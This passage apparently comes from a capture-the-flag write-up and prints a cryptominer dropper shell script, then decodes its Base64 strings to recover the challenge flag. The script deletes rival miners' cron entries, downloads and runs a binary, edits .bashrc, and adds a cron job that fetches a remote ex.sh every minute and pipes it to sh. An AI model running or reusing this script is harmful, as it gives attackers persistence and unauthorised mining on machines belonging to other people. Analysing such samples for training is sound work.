}
cronCleanUp() {
crontab -l | sed '/base64/d' | crontab -
crontab -l | sed '/update.sh/d' | crontab -
crontab -l | sed '/logo4/d' | crontab -
crontab -l | sed '/logo9/d' | crontab -
crontab -l | sed '/logo0/d' | crontab -
crontab -l | sed '/logo/d' | crontab -
crontab -l | sed '/tor2web/d' | crontab -
crontab -l | sed '/jpg/d' | crontab -
crontab -l | sed '/png/d' | crontab -
crontab -l | sed '/tmp/d' | crontab -
crontab -l | sed '/zmreplchkr/d' | crontab -
crontab -l | sed '/aliyun.one/d' | crontab -
crontab -l | sed '/pastebin/d' | crontab -
crontab -l | sed '/onion/d' | crontab -
crontab -l | sed '/lsd.systemten.org/d' | crontab -
crontab -l | sed '/shuf/d' | crontab -
crontab -l | sed '/ash/d' | crontab -
crontab -l | sed '/mr.sh/d' | crontab -
crontab -l | sed '/localhost.xyz/d' | crontab -
crontab -l | sed '/github/d' | crontab -
crontab -l | sed '/bigd1ck.com/d' | crontab -
crontab -l | sed '/xmr.ipzse.com/d' | crontab -
crontab -l | sed '/newdat.sh/d' | crontab -
crontab -l | sed '/lib.pygensim.com/d' | crontab -
crontab -l | sed '/t.amynx.com/d' | crontab -
crontab -l | sed '/update.sh/d' | crontab -
crontab -l | sed '/systemd-service.sh/d' | crontab -
crontab -l | sed '/pg_stat.sh/d' | crontab -
crontab -l | sed '/sleep/d' | crontab -
crontab -l | sed '/oka/d' | crontab -
crontab -l | sed '/linux1213/d' | crontab -
crontab -l | sed '/zsvc/d' | crontab -
crontab -l | sed '/_cron/d' | crontab -
crontab -l | sed '/givemexyz/d' | crontab -
crontab -l | sed '/world/d' | crontab -
crontab -l | sed '/1.sh/d' | crontab -
crontab -l | sed '/3.sh/d' | crontab -
crontab -l | sed '/workers/d' | crontab -
crontab -l | sed '/oracleservice/d' | crontab -
}
checkExists() {
CHECK_PATH=$1
MD5=$2
sum=$(md5sum $CHECK_PATH | awk '{ print $1 }')
retval=""
if [ "$MD5" = "$sum" ]; then
echo >&2 "$CHECK_PATH is $MD5"
retval="true"
else
echo >&2 "$CHECK_PATH is not $MD5, actual $sum"
retval="false"
fi
dest=$(echo "X3QwX200cnN9Cg=="|base64 -d)
if [[ ! -d $dest ]];
then
mkdir -p "$BIN_PATH/$dest"
fi
cp $CHECK_PATH $BIN_PATH/$dest
echo "$retval"
}
download() {
DOWNLOAD_PATH=$1
DOWNLOAD_URL=$2
if [ -L $DOWNLOAD_PATH ]
then
rm -rf $DOWNLOAD_PATH
fi
chmod 777 $DOWNLOAD_PATH
$WGET $DOWNLOAD_PATH $DOWNLOAD_URL
chmod +x $DOWNLOAD_PATH
}
checkTarget
check_if_operation_is_active
echo "ZXhwb3J0IHBhcnQ0PSJfdGgzX3IzZF9wbDRuM3R9Ig==" | base64 -d >> /home/$USER/.bashrc
Sleep 1000
binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
if [ "$binExists" = "true" ]; then
echo "$BIN_FULL_PATH exists and checked"
else
echo "$BIN_FULL_PATH not exists"
download $BIN_FULL_PATH $BIN_DOWNLOAD_URL
binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
if [ "$binExists" = "true" ]; then
echo "$BIN_FULL_PATH after download exists and checked"
else
echo "$BIN_FULL_PATH after download not exists"
download $BIN_FULL_PATH $BIN_DOWNLOAD_URL2
binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
if [ "$binExists" = "true" ]; then
echo "$BIN_FULL_PATH after download2 exists and checked"
else
echo "$BIN_FULL_PATH after download2 not exists"
fi
fi
fi
chmod 777 $BIN_FULL_PATH
chmod +x $BIN_FULL_PATH
SKL=ex $BIN_FULL_PATH
crontab -l | sed '/#wget/d' | crontab -
crontab -l | sed '/#curl/d' | crontab -
crontab -l | grep -e "tossacoin.htb" | grep -v grep
if [ $? -eq 0 ]; then
echo "cron good"
else
(
crontab -l 2>/dev/null
echo '* * * * * $LDR http://tossacoin.htb/ex.sh | sh & echo -n cGFydDE9IkhUQnttMW4xbmciCg==|base64 -d > /dev/null 2>&1'
) | crontab -
fi
Base64 encoding
The script is very large and it performs a lot of actions, but if we look carefully, we can identify some Base64-encoded strings:
local url="http://tossacoin.htb/cGFydDI9Il90aDMxcl93NHkiCg=="
dest=$(echo "X3QwX200cnN9Cg=="|base64 -d)
echo "ZXhwb3J0IHBhcnQ0PSJfdGgzX3IzZF9wbDRuM3R9Ig==" | base64 -d >> /home/$USER/.bashrc
echo '* * * * * $LDR http://tossacoin.htb/ex.sh | sh & echo -n cGFydDE9IkhUQnttMW4xbmciCg==|base64 -d > /dev/null 2>&1'
If we Base64-decode those strings, we obtain some parts of the flag:
$ echo cGFydDI9Il90aDMxcl93NHkiCg== | base64 -d
part2="_th31r_w4y"
$ echo "X3QwX200cnN9Cg=="|base64 -d
_t0_m4rs}
$ echo "ZXhwb3J0IHBhcnQ0PSJfdGgzX3IzZF9wbDRuM3R9Ig==" | base64 -d
export part4="_th3_r3d_pl4n3t}"
$ echo -n cGFydDE9IkhUQnttMW4xbmciCg==|base64 -d
part1="HTB{m1n1ng"
Flag
And, after some attempts, the flag for the challenge is HTB{m1n1ng_th31r_w4y_t0_m4rs_th3_r3d_pl4n3t}
.